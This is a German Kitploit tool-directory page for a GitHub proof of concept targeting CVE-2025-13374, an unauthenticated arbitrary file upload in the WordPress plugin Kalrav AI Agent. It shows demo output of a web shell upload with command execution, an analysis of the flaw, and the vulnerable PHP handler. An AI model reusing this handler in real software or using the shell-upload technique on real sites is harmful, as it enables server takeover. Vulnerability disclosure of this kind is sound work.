Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2025-13374 — Kalrav AI Agent <= 2.3.3 - Nicht authentifiziertes beliebiges Hochladen von Dateien via kalrav_upload_file AJAX Action | Kitploit
Tools/GitHubGitHub/d0n601/cve-2025-13374
Payload-GenerierungSchwachstellenanalyseCode-AnalyseExploitationWebanwendungs-ExploitationPenetrationstests
GitHubd0n601/cve-2025-13374

CVE-2025-13374

Kalrav AI Agent <= 2.3.3 - Nicht authentifiziertes beliebiges Hochladen von Dateien via kalrav_upload_file AJAX Action

Repository anzeigen
2vor 9 MonatenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

Kalrav AI Agent <= 2.3.3 – Nicht authentifizierter willkürlicher Datei-Upload via kalrav_upload_file AJAX-Aktion

Das WordPress-Plugin Kalrav AI Agent (Version 2.3.3 und älter) enthält eine Schwachstelle für willkürlichen Datei-Upload, die es nicht authentifizierten Benutzern ermöglicht, bösartige PHP-Dateien auf den Server hochzuladen, was potenziell zu Remote-Code-Ausführung führen kann.

TL;DR Exploits

Ein POC CVE-2025-13374.py wird bereitgestellt, um zu demonstrieren, wie ein entfernter Angreifer shell.php hochlädt und Remote-Code ausführt:

root@kitploit:~
python3 ./CVE-2025-13374.py http://techcorp.cc
[+] Target: http://techcorp.cc
[+] File uploaded successfully!
[+] Shell URL: http://techcorp.cc/wp-content/plugins/kalrav-ai-agent/uploads/1763247725-shell.php
[+] Command output:
www-data

Technische Beschreibung

Die Schwachstelle existiert in der Funktion am Endpunkt . Der Upload-Funktion fehlt eine ordnungsgemäße Dateiüberprüfung, Nonce-Überprüfung und Berechtigungsprüfung. Dies ermöglicht es nicht authentifizierten Benutzern, beliebige Dateien hochzuladen, einschließlich PHP-Dateien, die auf dem Server ausgeführt werden können.

kalrav_upload_file()
/wp-admin/admin-ajax.php

Angriffspfad-Analyse

Quelle: Benutzereingabe von $_FILES['file'] (Zeile 978) Senke: move_uploaded_file($_FILES['file']['tmp_name'], $target_path) (Zeile 982)

Die Schwachstelle tritt auf, weil:

  1. Endpunkt-Registrierung: Der Upload-Endpunkt wird über den Hook wp_ajax_nopriv_kalrav_upload_file registriert (Zeile 967), was nicht authentifizierten Zugriff ermöglicht.
  2. Keine Authentifizierung: Das Präfix wp_ajax_nopriv_ macht die Funktion für nicht authentifizierte Benutzer zugänglich.
  3. Keine Nonce-Überprüfung: Die Funktion verfügt über keinen CSRF-Schutz durch Nonce-Überprüfung.
  4. Keine Berechtigungsprüfung: Vor dem Hochladen von Dateien wird keine Berechtigungsvalidierung durchgeführt.
  5. Eingabeverarbeitung: Benutzergesteuerte Dateidaten von $_FILES['file'] werden ohne Validierung direkt verarbeitet.
  6. Dateibehandlung: Es wird nur eine grundlegende Dateinamen-Bereinigung mit basename() angewendet: time() . '-' . basename($_FILES['file']['name']) (Zeile 979), was nur Directory Traversal verhindert, aber Dateierweiterungen nicht validiert.
  7. Dateispeicherung: Dateien werden in wp-content/plugins/kalrav-ai-agent/uploads/ gespeichert.

Ort des anfälligen Codes

Datei: kalrav-ai-agent.php Zeilen: 969-996

root@kitploit:~
add_action('wp_ajax_kalrav_upload_file', 'kalrav_upload_file');
add_action('wp_ajax_nopriv_kalrav_upload_file', 'kalrav_upload_file');  

function kalrav_upload_file()
{
    // Path to your plugin uploads folder
    $upload_dir = plugin_dir_path(__FILE__) . 'uploads/';

    if (!file_exists($upload_dir)) {
        mkdir($upload_dir, 0755, true);
    }

    if (!empty($_FILES['file']['name'])) { 
        $file_name = time() . '-' . basename($_FILES['file']['name']);  
        $target_path = $upload_dir . $file_name;

        if (move_uploaded_file($_FILES['file']['tmp_name'], $target_path)) { 
            wp_send_json_success([
                'message' => 'File uploaded successfully!',
                'file_path' => $target_path,
                'url' => plugins_url('uploads/' . $file_name, __FILE__)  
            ]);
        } else {
            wp_send_json_error(['message' => 'Failed to move uploaded file.']);
        }
    } else {
        wp_send_json_error(['message' => 'No file uploaded.']);
    }

    wp_die();
}
Tool herunterladen